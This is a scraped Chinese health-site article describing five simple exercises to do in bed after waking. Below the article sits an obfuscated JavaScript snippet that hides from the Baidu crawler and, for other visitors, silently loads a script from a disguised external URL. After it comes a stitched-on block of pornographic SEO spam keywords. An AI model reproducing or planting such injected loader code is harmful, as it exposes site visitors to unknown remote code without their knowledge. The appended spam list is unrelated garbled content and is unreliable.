<label id="xjztt"></label>
<rt id="xjztt"></rt>
  • <thead id="xjztt"></thead>
    <label id="xjztt"></label>

      <label id="xjztt"></label>
      <rt id="xjztt"></rt>

      <span id="xjztt"></span>
      當前位置:首頁 > 健康 > 運動健身 > 正文

      完美健身操的做法

      2017-04-17 08:42:50  來源:360常識網   熱度:
      導語:做健身操的時候大家都想要完美的狀態,健身操要是做起來完美,那么也是結合了很多力度的,做健美操可以保證我們的身段柔美程度,完美的健身

      做健身操的時候大家都想要完美的狀態,健身操要是做起來完美,那么也是結合了很多力度的,做健美操可以保證我們的身段柔美程度,完美的健身操還可以提高我們身體的柔韌度,對于體質的改善也都是非常合理的,完美的健美操在做的時候不是光完美就是最好的,自己做的時候姿勢要對,那么完美健身操做法有哪些?

      1、仰臥側屈

      仰臥在床上,一手上舉,隨上體側屈,下肢用力伸直,左右側屈各做6-8次。

      2、仰臥下肢屈伸

      做了上述動作,睡意可能已經減少,接著就可做些下肢屈伸動作。做法是一腿屈腳踏床上,然后膝部伸直,使膝部觸及床上。兩腿輪流各做10-15次。

      3、伸懶腰

      睡覺時身體多取屈縮的姿勢,睡醒后在床上做兩手交叉,伸向頭上方翻掌,腳尖繃直,伸展身體,同時配合深呼吸的動作,反復練習4-6次,有助于消除疲勞,加快覺醒。

      4、轉頭屈腳踝

      睡醒后,人有時感到頭昏腦脹,這是一夜睡眠不動使頭部和頸部肌肉變得僵硬,頭部血液循環不暢,致使頭部供血不足所致。如果睡醒后躺在床上頭部向左右側轉動8-10次,也可使頭昏減輕。同時,再屈伸腳踝關節10-20次,可使下肢活動開來。

      5、仰臥在床上,兩腿并攏屈膝

      然后,小腿伸直上舉,腿與身體成90度。接著腹肌用力,兩腿下落到45度角的傾斜度,腳踝必須屈成直角,跟腱必須伸直,保持這個姿勢片刻,然后還原成兩腿上舉姿勢,再徐徐做這個動作。反復15-20次。有利于解除便秘,強健腹肌。

      完美健身操的做法就是上面我們講述的這些,大家都知道了完美健身操的各種做法之后對日后自己做健身操鍛煉的時候才是最好,最合理的,做完美健身操期間衣服方面都是需要改善的,衣服最好是選擇寬松一點的這樣對于鍛煉來說才是最好的,在身體和心理都舒暢的情況下做健身操鍛煉也是最好的。

      轉載申明:360常識網,歡迎分享,轉載請注明出處!
      ?
      if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
      主站蜘蛛池模板: 亚洲日本国产综合高清| 欧美伊香蕉久久综合类网站| 亚洲色偷偷狠狠综合网| 色成年激情久久综合| 狠狠色丁香久久综合五月| 天天做天天爱天天综合网| 日韩人妻无码一区二区三区综合部 | 一本久久a久久精品综合夜夜| 国产在线五月综合婷婷| 欧美综合缴情五月丁香六月婷 | 欧美综合视频在线| 久久婷婷五月综合97色 | 亚洲欧美乱综合图片区小说区| 激情综合一区二区三区| 色88久久久久高潮综合影院| 在线亚洲97se亚洲综合在线| 久久综合狠狠色综合伊人| 亚洲综合一区二区国产精品| 欧美综合图区亚洲综合图区| 亚洲综合日韩中文字幕v在线| 色综合久久88色综合天天 | 亚洲日韩在线中文字幕综合| 色综合久久久久无码专区| 久久精品国产91久久综合麻豆自制 | 亚洲精品第一国产综合境外资源 | 五月丁香综合激情六月久久| 亚洲综合精品香蕉久久网| 亚洲综合国产精品| 色欲色香天天天综合网站免费| 狠狠久久综合伊人不卡| 精品第一国产综合精品蜜芽| 狠狠色狠狠色综合久久| 亚洲 欧美 国产 动漫 综合| 国产欧美精品一区二区色综合| 久久久久青草线蕉综合超碰 | 亚洲国产aⅴ综合网| 国产综合欧美| 伊人伊成久久人综合网777| 综合人妻久久一区二区精品| 天天爽天天狠久久久综合麻豆| 久久综合伊人77777|